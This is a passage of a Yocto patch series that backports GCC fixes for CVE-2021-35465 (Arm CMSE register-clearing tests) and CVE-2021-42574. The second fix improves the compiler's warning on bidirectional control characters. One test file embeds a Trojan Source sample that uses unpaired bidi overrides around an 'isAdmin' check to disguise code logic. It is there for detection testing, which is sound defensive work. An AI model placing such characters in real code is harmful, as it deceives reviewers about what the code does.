++/* { dg-final { scan-assembler "lsrs\t(r\[1,4-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[1,4-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler-not "mov\tr0, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr2, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr3, r4" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r1, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[1,4-9\]|r10|fp|ip), ){9}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[1,4-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler-not "vmov" } } */
++/* { dg-final { scan-assembler-not "vmsr" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,28 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=soft -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=soft" } } */
++
++#include "../../../cmse-7.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r0, )?(r1, )?(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[0-9\]|r10|fp|ip), ){12}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[0-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler-not "vmov" } } */
++/* { dg-final { scan-assembler-not "vmsr" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,30 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=soft -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=soft" } } */
++
++#include "../../../cmse-8.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler-not "mov\tr0, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr1, r4" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[2-9\]|r10|fp|ip), ){10}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[2-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler-not "vmov" } } */
++/* { dg-final { scan-assembler-not "vmsr" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,30 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=softfp -mfpu=fpv5-d16 -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=softfp" } } */
++/* { dg-skip-if "Skip these if testing single precision" {*-*-*} {"-mfpu=*-sp-*"} {""} } */
++
++#include "../../../cmse-13.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[1,4-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[1,4-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler-not "mov\tr0, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr2, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr3, r4" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r1, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[1,4-9\]|r10|fp|ip), ){9}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[1,4-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,27 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=softfp -mfpu=fpv5-d16 -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=softfp" } } */
++/* { dg-skip-if "Skip these if testing single precision" {*-*-*} {"-mfpu=*-sp-*"} {""} } */
++
++#include "../../../cmse-7.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r0, )?(r1, )?(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[0-9\]|r10|fp|ip), ){12}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[0-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,29 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=softfp -mfpu=fpv5-d16 -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=softfp" } } */
++/* { dg-skip-if "Skip these if testing single precision" {*-*-*} {"-mfpu=*-sp-*"} {""} } */
++
++#include "../../../cmse-8.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler-not "mov\tr0, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr1, r4" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[2-9\]|r10|fp|ip), ){10}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[2-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,27 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=softfp -mfpu=fpv5-sp-d16 -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=softfp" } } */
++/* { dg-skip-if "Skip these if testing double precision" {*-*-*} {"-mfpu=fpv[4-5]-d16"} {""} } */
++
++#include "../../../cmse-7.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r0, )?(r1, )?(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[0-9\]|r10|fp|ip), ){12}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[0-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,29 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=softfp -mfpu=fpv5-sp-d16 -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=softfp" } } */
++/* { dg-skip-if "Skip these if testing double precision" {*-*-*} {"-mfpu=fpv[4-5]-d16"} {""} } */
++
++#include "../../../cmse-8.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler-not "mov\tr0, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr1, r4" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[2-9\]|r10|fp|ip), ){10}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[2-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
diff --git a/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-42574.patch b/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-42574.patch
new file mode 100644
index 0000000000..4999c71b64
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-42574.patch
@@ -0,0 +1,573 @@
+From bef32d4a28595e933f24fef378cf052a30b674a7 Mon Sep 17 00:00:00 2001
+From: David Malcolm <dmalcolm@redhat.com>
+Date: Tue, 2 Nov 2021 15:45:22 -0400
+Subject: [PATCH] libcpp: capture and underline ranges in -Wbidi-chars=
+ [PR103026]
+MIME-Version: 1.0
+Content-Type: text/plain; charset=utf8
+Content-Transfer-Encoding: 8bit
+
+This patch converts the bidi::vec to use a struct so that we can
+capture location_t values for the bidirectional control characters.
+
+Before:
+
+ Wbidi-chars-1.c: In function âmainâ:
+ Wbidi-chars-1.c:6:43: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 6 | /*<U+202E> } <U+2066>if (isAdmin)<U+2069> <U+2066> begin admins only */
+ | ^
+ Wbidi-chars-1.c:9:28: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 9 | /* end admins only <U+202E> { <U+2066>*/
+ | ^
+
+After:
+
+ Wbidi-chars-1.c: In function âmainâ:
+ Wbidi-chars-1.c:6:43: warning: unpaired UTF-8 bidirectional control characters detected [-Wbidi-chars=]
+ 6 | /*<U+202E> } <U+2066>if (isAdmin)<U+2069> <U+2066> begin admins only */
+ | ~~~~~~~~ ~~~~~~~~ ^
+ | | | |
+ | | | end of bidirectional context
+ | U+202E (RIGHT-TO-LEFT OVERRIDE) U+2066 (LEFT-TO-RIGHT ISOLATE)
+ Wbidi-chars-1.c:9:28: warning: unpaired UTF-8 bidirectional control characters detected [-Wbidi-chars=]
+ 9 | /* end admins only <U+202E> { <U+2066>*/
+ | ~~~~~~~~ ~~~~~~~~ ^
+ | | | |
+ | | | end of bidirectional context
+ | | U+2066 (LEFT-TO-RIGHT ISOLATE)
+ | U+202E (RIGHT-TO-LEFT OVERRIDE)
+
+Signed-off-by: David Malcolm <dmalcolm@redhat.com>
+
+gcc/testsuite/ChangeLog:
+ PR preprocessor/103026
+ * c-c++-common/Wbidi-chars-ranges.c: New test.
+
+libcpp/ChangeLog:
+ PR preprocessor/103026
+ * lex.c (struct bidi::context): New.
+ (bidi::vec): Convert to a vec of context rather than unsigned
+ char.
+ (bidi::ctx_at): Rename to...
+ (bidi::pop_kind_at): ...this and reimplement for above change.
+ (bidi::current_ctx): Update for change to vec.
+ (bidi::current_ctx_ucn_p): Likewise.
+ (bidi::current_ctx_loc): New.
+ (bidi::on_char): Update for usage of context struct. Add "loc"
+ param and pass it when pushing contexts.
+ (get_location_for_byte_range_in_cur_line): New.
+ (get_bidi_utf8): Rename to...
+ (get_bidi_utf8_1): ...this, reintroducing...
+ (get_bidi_utf8): ...as a wrapper, setting *OUT when the result is
+ not NONE.
+ (get_bidi_ucn): Rename to...
+ (get_bidi_ucn_1): ...this, reintroducing...
+ (get_bidi_ucn): ...as a wrapper, setting *OUT when the result is
+ not NONE.
+ (class unpaired_bidi_rich_location): New.
+ (maybe_warn_bidi_on_close): Use unpaired_bidi_rich_location when
+ reporting on unpaired bidi chars. Split into singular vs plural
+ spellings.
+ (maybe_warn_bidi_on_char): Pass in a location_t rather than a
+ const uchar * and use it when emitting warnings, and when calling
+ bidi::on_char.
+ (_cpp_skip_block_comment): Capture location when kind is not NONE
+ and pass it to maybe_warn_bidi_on_char.
+ (skip_line_comment): Likewise.
+ (forms_identifier_p): Likewise.
+ (lex_raw_string): Likewise.
+ (lex_string): Likewise.
+
+Signed-off-by: David Malcolm <dmalcolm@redhat.com>
+
+CVE: CVE-2021-42574
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=bef32d4a28595e933f24fef378cf052a30b674a7]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ .../c-c++-common/Wbidi-chars-ranges.c | 54 ++++
+ libcpp/lex.c | 251 ++++++++++++++----
+ 2 files changed, 257 insertions(+), 48 deletions(-)
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-ranges.c
+
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-ranges.c b/gcc/testsuite/c-c++-common/Wbidi-chars-ranges.c
+new file mode 100644
+index 00000000000..298750a2a64
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-ranges.c
+@@ -0,0 +1,54 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired -fdiagnostics-show-caret" } */
++/* Verify that we escape and underline pertinent bidirectional
++ control characters when quoting the source. */
++
++int test_unpaired_bidi () {
++ int isAdmin = 0;
++ /*â® } â¦if (isAdmin)⩠⦠begin admins only */
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++#if 0
++ { dg-begin-multiline-output "" }
++ /*<U+202E> } <U+2066>if (isAdmin)<U+2069> <U+2066> begin admins only */
++ ~~~~~~~~ ~~~~~~~~ ^
++ | | |
++ | | end of bidirectional context
++ U+202E (RIGHT-TO-LEFT OVERRIDE) U+2066 (LEFT-TO-RIGHT ISOLATE)
++ { dg-end-multiline-output "" }
++#endif
++
++ __builtin_printf("You are an admin.\n");
++ /* end admins only â® { â¦*/
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++#if 0
++ { dg-begin-multiline-output "" }
++ /* end admins only <U+202E> { <U+2066>*/
++ ~~~~~~~~ ~~~~~~~~ ^
++ | | |
++ | | end of bidirectional context
++ | U+2066 (LEFT-TO-RIGHT ISOLATE)
++ U+202E (RIGHT-TO-LEFT OVERRIDE)
++ { dg-end-multiline-output "" }
++#endif
++
++ return 0;
++}
++
++int LRE_âª_PDF_\u202c;
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
++#if 0
++ { dg-begin-multiline-output "" }
++ int LRE_<U+202A>_PDF_\u202c;
++ ~~~~~~~~ ^~~~~~
++ { dg-end-multiline-output "" }
++#endif
++
++const char *s1 = "LRE_âª_PDF_\u202c";
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
++#if 0
++ { dg-begin-multiline-output "" }
++ const char *s1 = "LRE_<U+202A>_PDF_\u202c";
++ ~~~~~~~~ ^~~~~~
++ { dg-end-multiline-output "" }
++#endif
+diff --git a/libcpp/lex.c b/libcpp/lex.c
+index 2421d6c0f40..94c36f0d014 100644
+--- a/libcpp/lex.c
++++ b/libcpp/lex.c
+@@ -1172,11 +1172,34 @@ namespace bidi {
+ /* All the UTF-8 encodings of bidi characters start with E2. */
+ constexpr uchar utf8_start = 0xe2;
+
++ struct context
++ {
++ context () {}
++ context (location_t loc, kind k, bool pdf, bool ucn)
++ : m_loc (loc), m_kind (k), m_pdf (pdf), m_ucn (ucn)
++ {
++ }
++
++ kind get_pop_kind () const
++ {
++ return m_pdf ? kind::PDF : kind::PDI;
++ }
++ bool ucn_p () const
++ {
++ return m_ucn;
++ }
++
++ location_t m_loc;
++ kind m_kind;
++ unsigned m_pdf : 1;
++ unsigned m_ucn : 1;
++ };
++
+ /* A vector holding currently open bidi contexts. We use a char for
+ each context, its LSB is 1 if it represents a PDF context, 0 if it
+ represents a PDI context. The next bit is 1 if this context was open
+ by a bidi character written as a UCN, and 0 when it was UTF-8. */
+- semi_embedded_vec <unsigned char, 16> vec;
++ semi_embedded_vec <context, 16> vec;
+
+ /* Close the whole comment/identifier/string literal/character constant
+ context. */
+@@ -1193,19 +1216,19 @@ namespace bidi {
+ vec.truncate (len - 1);
+ }
+
+- /* Return the context of the Ith element. */
+- kind ctx_at (unsigned int i)
++ /* Return the pop kind of the context of the Ith element. */
++ kind pop_kind_at (unsigned int i)
+ {
+- return (vec[i] & 1) ? kind::PDF : kind::PDI;
++ return vec[i].get_pop_kind ();
+ }
+
+- /* Return which context is currently opened. */
++ /* Return the pop kind of the context that is currently opened. */
+ kind current_ctx ()
+ {
+ unsigned int len = vec.count ();
+ if (len == 0)
+ return kind::NONE;
+- return ctx_at (len - 1);
++ return vec[len - 1].get_pop_kind ();
+ }
+
+ /* Return true if the current context comes from a UCN origin, that is,
+@@ -1214,11 +1237,19 @@ namespace bidi {
+ {
+ unsigned int len = vec.count ();
+ gcc_checking_assert (len > 0);
+- return (vec[len - 1] >> 1) & 1;
++ return vec[len - 1].m_ucn;
+ }
+
+- /* We've read a bidi char, update the current vector as necessary. */
+- void on_char (kind k, bool ucn_p)
++ location_t current_ctx_loc ()
++ {
++ unsigned int len = vec.count ();
++ gcc_checking_assert (len > 0);
++ return vec[len - 1].m_loc;
++ }
++
++ /* We've read a bidi char, update the current vector as necessary.
++ LOC is only valid when K is not kind::NONE. */
++ void on_char (kind k, bool ucn_p, location_t loc)
+ {
+ switch (k)
+ {
+@@ -1226,12 +1257,12 @@ namespace bidi {
+ case kind::RLE:
+ case kind::LRO:
+ case kind::RLO:
+- vec.push (ucn_p ? 3u : 1u);
++ vec.push (context (loc, k, true, ucn_p));
+ break;
+ case kind::LRI:
+ case kind::RLI:
+ case kind::FSI:
+- vec.push (ucn_p ? 2u : 0u);
++ vec.push (context (loc, k, false, ucn_p));
+ break;
+ /* PDF terminates the scope of the last LRE, RLE, LRO, or RLO
+ whose scope has not yet been terminated. */
+@@ -1245,7 +1276,7 @@ namespace bidi {
+ yet been terminated. */
+ case kind::PDI:
+ for (int i = vec.count () - 1; i >= 0; --i)
+- if (ctx_at (i) == kind::PDI)
++ if (pop_kind_at (i) == kind::PDI)
+ {
+ vec.truncate (i);
+ break;
+@@ -1295,10 +1326,47 @@ namespace bidi {
+ }
+ }
+
++/* Get location_t for the range of bytes [START, START + NUM_BYTES)
++ within the current line in FILE, with the caret at START. */
++
++static location_t
++get_location_for_byte_range_in_cur_line (cpp_reader *pfile,
++ const unsigned char *const start,
++ size_t num_bytes)
++{
++ gcc_checking_assert (num_bytes > 0);
++
++ /* CPP_BUF_COLUMN and linemap_position_for_column both refer
++ to offsets in bytes, but CPP_BUF_COLUMN is 0-based,
++ whereas linemap_position_for_column is 1-based. */
++
++ /* Get 0-based offsets within the line. */
++ size_t start_offset = CPP_BUF_COLUMN (pfile->buffer, start);
++ size_t end_offset = start_offset + num_bytes - 1;
++
++ /* Now convert to location_t, where "columns" are 1-based byte offsets. */
++ location_t start_loc = linemap_position_for_column (pfile->line_table,
++ start_offset + 1);
++ location_t end_loc = linemap_position_for_column (pfile->line_table,
++ end_offset + 1);
++
++ if (start_loc == end_loc)
++ return start_loc;
++
++ source_range src_range;
++ src_range.m_start = start_loc;
++ src_range.m_finish = end_loc;
++ location_t combined_loc = COMBINE_LOCATION_DATA (pfile->line_table,
